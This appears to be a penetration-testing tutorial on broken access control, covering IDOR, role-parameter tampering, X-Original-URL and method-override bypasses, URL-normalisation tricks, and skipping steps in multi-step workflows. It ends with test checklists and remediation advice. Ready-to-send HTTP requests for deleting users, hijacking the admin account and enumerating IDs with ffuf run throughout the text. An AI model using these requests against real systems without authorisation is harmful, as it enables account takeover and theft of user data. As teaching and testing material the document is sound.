Skip to content
Select theme

Broken access control

Access control decides who can do what on which resource. It sits on top of authentication (who are you?) and session management (how do I track you?). When access control is broken, a normal user can perform admin actions, read other users’ data, or delete resources they should never touch. OWASP ranks it #1 in the Top 10 (2021) because it is everywhere and the impact is always high.

Unlike XSS or SQLi, access control cannot be enforced by a single library or filter. Every endpoint, every parameter, every HTTP method needs its own authorization check. Developers miss checks because:

  • The framework does not enforce authorization by default (you must add it per route)
  • The front-end hides UI elements (buttons, links) but the back-end still accepts the request
  • Authorization logic is scattered across controllers instead of centralized
  • Multi-step workflows check permissions on step 1 but not on step 3

The result: the back-end trusts that you will not call an endpoint you are not supposed to know about, or that you will not change a parameter you are not supposed to change.

Type What happens Impact
Vertical (privilege escalation) Normal user performs admin functions Full admin takeover
Horizontal User A accesses User B’s data (same role) Data theft, account manipulation
Horizontal to vertical Horizontal access on admin account leads to full escalation Account takeover + admin access

IDOR (Insecure Direct Object Reference) is the most common technique that causes horizontal escalation, but it is not the only one. Session fixation, parameter pollution, and race conditions can also cross user boundaries. And IDOR itself can cause vertical escalation too (change the ID to the admin’s and you escalate vertically, not horizontally). The distinction: horizontal/vertical is the direction, IDOR is one of the mechanisms.

Before testing, understand the application’s role model. If the target has a free tier, create at least two accounts:

Account Purpose
Admin (if available) Discover all admin endpoints and parameters
User A Your “attacker” session
User B Your “victim” (to test horizontal access)

Browse the application as admin. Record every URL, every POST action, every API endpoint. Then switch to your low-privilege session and replay those requests.

Admin panels are often reachable even without a link in the UI.

Directory brute-force with ffuf:

ffuf
ffuf -u https://target.example/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,403 -fc 404

Common paths to check manually:

/admin
/admin-panel
/administrator
/management
/console
/dashboard
/_admin
/admin.php
/wp-admin

Check robots.txt: disallowed paths often point to admin areas.

Request
GET /robots.txt HTTP/1.1
Host: target.example
Response
Disallow: /admin-panel-8923hs/
Disallow: /internal-api/

Check JavaScript source: admin URLs are often hardcoded in client-side code, visible to everyone regardless of their role.

Leaked admin URL in page source
var isAdmin = false;
if (isAdmin) {
var link = document.createElement('a');
link.setAttribute('href', '/admin-panel-8923hs');
}

The URL is in the source code of every page, even though the link element is only created for admins. Browse to /admin-panel-8923hs directly.

Use two browser profiles (or two browsers) with different sessions. Burp workflow:

  1. Log in as admin in one browser, capture requests in Burp
  2. Log in as normal user in the other browser
  3. In Burp Repeater, take an admin request and replace the session cookie with the normal user’s cookie
  4. Send the request. If the action succeeds (200, or the state changes), access control is broken

The admin endpoint exists and responds to any authenticated (or even unauthenticated) user:

Request (normal user session)
GET /admin/deleteUser?userId=carlos HTTP/1.1
Host: target.example
Cookie: session=normaluser-session-token
Response
HTTP/1.1 200 OK
User carlos has been deleted.

No role check. The application trusts that you will not know the URL.

The application stores the user’s role in a controllable parameter:

Login response sets a role cookie
HTTP/1.1 302 Found
Set-Cookie: Admin=false; Path=/

Change it:

Request with tampered cookie
GET /admin HTTP/1.1
Host: target.example
Cookie: session=normaluser-session-token; Admin=true
Response: admin panel loads
HTTP/1.1 200 OK
<h1>Admin Panel</h1>
<a href="/admin/deleteUser">Delete user</a>

The same pattern appears in query parameters, POST bodies, and JSON fields:

Role in JSON body (API)
POST /api/update-role HTTP/1.1
Host: target.example
Content-Type: application/json
Cookie: session=normaluser-session-token
{"username": "attacker", "role": "admin"}
Role in query parameter
GET /home?admin=true HTTP/1.1
Host: target.example
Cookie: session=normaluser-session-token

The front-end reverse proxy blocks access to /admin for non-admin users. But the back-end framework supports path override headers:

Request to the root (allowed), but the back-end reads X-Original-URL
POST /?username=carlos HTTP/1.1
Host: target.example
Cookie: session=normaluser-session-token
X-Original-URL: /admin/deleteUser

The proxy sees a request to / (allowed). The back-end processes /admin/deleteUser with the query parameter username=carlos. The user is deleted.

Other override headers to test:

Header Framework
X-Original-URL IIS/ASP.NET with URL Rewrite
X-Rewrite-URL IIS/ASP.NET
X-Forwarded-Prefix Spring Boot

Access control is enforced on POST to /admin/deleteUser but not on other methods:

POST is blocked
POST /admin/deleteUser HTTP/1.1
Host: target.example
Cookie: session=normaluser-session-token
username=carlos
Response: 403
HTTP/1.1 403 Forbidden

Switch to GET:

GET bypasses the check
GET /admin/deleteUser?username=carlos HTTP/1.1
Host: target.example
Cookie: session=normaluser-session-token
Response: action succeeds
HTTP/1.1 302 Found
Location: /admin

If GET does not work, try method override parameters. Many frameworks accept these to support clients that cannot send PUT/DELETE:

POST with _method override
POST /admin/deleteUser HTTP/1.1
Host: target.example
Cookie: session=normaluser-session-token
Content-Type: application/x-www-form-urlencoded
username=carlos&_method=GET

Other override mechanisms: X-HTTP-Method-Override: GET header, X-Method-Override, _method in the query string.

The access control rule blocks /admin/deleteUser exactly. The server’s routing layer accepts variations that the access control check does not normalize:

Trailing slash bypass
GET /admin/deleteUser/ HTTP/1.1
Host: target.example
Cookie: session=normaluser-session-token
Variation Why it bypasses
/ADMIN/DELETEUSER Access control is case-sensitive, routing is not
/admin/deleteUser/ Trailing slash not stripped before the check
/admin/deleteUser.json Extension appended, routing still matches the handler
/admin/./deleteUser Dot segment not normalized before the check
/admin/deleteUser%00 Null byte truncation (older systems)

Test all variations. If one returns 200 instead of 403, the access control is bypassed.

Horizontal escalation means accessing another user’s resources at the same privilege level. The most common mechanism is IDOR, but not the only one (session fixation, race conditions, and parameter pollution can also cross user boundaries).

The application uses a user-supplied identifier to fetch a resource, and does not verify the requester owns it. This is the technique you will encounter most often.

Walk every request in Burp and look for parameters that reference a resource:

Location Examples
Query string ?userId=123, ?orderId=456, ?file=report_123.pdf
URL path /api/users/123/profile, /invoices/789
POST body {"accountId": "123"}
Cookie userId=123 (rare, high impact)

Exploiting IDOR: read another user’s data

Section titled “Exploiting IDOR: read another user’s data”
Your own profile
GET /api/users/123/profile HTTP/1.1
Host: target.example
Cookie: session=userA-session-token
Response
{
"id": 123,
"username": "userA",
"email": "usera@example.com",
"apiKey": "ak_live_abc123"
}

Change the ID:

Read another user's profile
GET /api/users/456/profile HTTP/1.1
Host: target.example
Cookie: session=userA-session-token
Response: you see userB's data
{
"id": 456,
"username": "userB",
"email": "userb@example.com",
"apiKey": "ak_live_xyz789"
}

No 403, no redirect. The server returned the data because it did not check ownership.

Exploiting IDOR: modify another user’s data

Section titled “Exploiting IDOR: modify another user’s data”

Do not stop at reading. Test write operations on the same parameter:

Change another user's email
PUT /api/users/456/profile HTTP/1.1
Host: target.example
Cookie: session=userA-session-token
Content-Type: application/json
{"email": "attacker@attacker.example"}
Response: email changed
HTTP/1.1 200 OK
{"message": "Profile updated successfully"}

Now trigger a password reset for userB. The reset email goes to attacker@attacker.example. Account takeover from a single IDOR.

Delete another user's resource
DELETE /api/orders/789 HTTP/1.1
Host: target.example
Cookie: session=userA-session-token

GUIDs and UUIDs look unpredictable, but they leak in many places:

Leak source Example
Other API responses User listing, search results, comments, reviews
HTML source Data attributes, hidden fields, inline JSON
URL in messages “View your order: /orders/a1b2c3d4-...”
Referer header Previous page URL logged or reflected
WebSocket messages Real-time feeds with other users’ IDs

Use Burp’s search function across the entire site map: search for a known ID and see where other users’ IDs appear.

When IDs are sequential integers, use Intruder to sweep a range:

  1. Send the request to Intruder
  2. Mark the ID parameter as the injection point: GET /api/users/$$123$$/profile
  3. Payload type: Numbers, from 1 to 1000, step 1
  4. Start the attack
  5. Sort by response length or status code to find valid IDs
Same with ffuf
ffuf -u https://target.example/api/users/FUZZ/profile -w <(seq 1 1000) \
-H "Cookie: session=userA-session-token" -mc 200 -fs 0

This is the most common real-world chain. It turns a “low” finding into full admin compromise:

Step 1 - Find an IDOR that leaks user profiles:

Enumerate user IDs
GET /api/users/1/profile HTTP/1.1
Host: target.example
Cookie: session=attacker-session-token
Response: admin user found
{
"id": 1,
"username": "administrator",
"email": "admin@target.example",
"role": "admin"
}

Step 2 - Check if the IDOR allows modification:

Change admin's password
PUT /api/users/1/profile HTTP/1.1
Host: target.example
Cookie: session=attacker-session-token
Content-Type: application/json
{"password": "attacker-controlled-password"}

If the password change works, log in as admin:

Step 3 - Log in as admin
POST /login HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
username=administrator&password=attacker-controlled-password

Alternative chain: the IDOR leaks a password reset token or API key. Use it directly without needing to change the password.

Admin functions that span multiple requests (form, confirmation page, execution) often enforce access control only on the first step.

Normal admin flow:

Step 1: GET /admin/deleteUser → Load the form (admin check here)
Step 2: POST /admin/deleteUser/confirm → Show confirmation page
Step 3: POST /admin/deleteUser/execute → Actually delete the user

The bypass: skip to step 3 directly.

Skip to step 3 with a normal user session
POST /admin/deleteUser/execute HTTP/1.1
Host: target.example
Cookie: session=normaluser-session-token
Content-Type: application/x-www-form-urlencoded
userId=carlos&confirmed=true
Response: user deleted
HTTP/1.1 302 Found
Location: /admin/users

The application checked authorization on step 1 (the form page) but not on step 3 (the actual execution). Testing each step independently is critical.

Some applications check the Referer header to decide if the request is authorized:

Request with spoofed Referer
GET /admin/deleteUser?userId=carlos HTTP/1.1
Host: target.example
Cookie: session=normaluser-session-token
Referer: https://target.example/admin

The application sees that the request “came from” the admin page and allows it. The Referer header is fully controlled by the client, making this check useless.

To test: take a blocked admin request, add or change the Referer to the admin panel URL, and resend.

Action Tool What you find
Brute-force directories ffuf, gobuster, Burp Discover Content Hidden admin endpoints
Read robots.txt, sitemap.xml Browser, curl Disallowed paths (often admin areas)
Search JavaScript source Burp (search in site map), browser DevTools Hardcoded admin URLs, API endpoints, role checks
Read HTML comments Burp → Engagement tools → Find Comments Developer notes with internal URLs

For every admin endpoint you found:

Test How What to send
Direct access Replace cookie with low-priv session Same URL, different cookie
Parameter tampering Change role in cookie/param/JSON admin=true, role=admin, roleid=1
URL override Add X-Original-URL / X-Rewrite-URL X-Original-URL: /admin/target-endpoint
Method switch Change POST to GET (or vice versa) Same params, different method
Method override param Add _method=GET to POST body _method=GET or X-HTTP-Method-Override header
URL variations Try case, trailing slash, extension /ADMIN/, /admin/endpoint/, /admin/endpoint.json
Referer spoof Set Referer: https://target.example/admin Add header to any blocked request

For every request that references a resource by ID:

Test How
Read another user’s resource Change the ID, keep your cookie
Modify another user’s resource Same request with PUT/POST/PATCH, different ID
Delete another user’s resource Same endpoint with DELETE, different ID
Enumerate valid IDs Burp Intruder: sweep sequential range or known IDs
Find leaked IDs Search entire site map for GUID patterns
Starting point Chain to How
IDOR on user profile Account takeover Leak email/apiKey, change password or email
IDOR on admin user Full admin access Change admin password, steal admin API key
Vertical access to admin panel Mass data extraction Use admin endpoints to dump all users
Multi-step bypass on admin action Targeted action Delete users, change roles, modify config
Measure Implementation
Deny by default Every endpoint requires explicit authorization. No route is “open unless blocked.”
Centralize authorization One middleware/module checks permissions. Never scatter if (user.role == 'admin') across handlers.
Enforce server-side Never rely on hidden URLs, client-side role checks, or Referer headers
Use indirect references Map user-facing IDs to internal IDs per session. User sends ref=1, server maps to the actual resource based on the session.
Check ownership on every request SELECT * FROM orders WHERE id=? AND user_id=? (bind both parameters)
Validate on every step Multi-step workflows must check authorization on each request, not only the entry point
Log access control failures Alert on repeated 403s from one session (brute-force indicator)
Rate-limit resource enumeration Slow down sequential ID sweeps

1,825 words, about 9 min read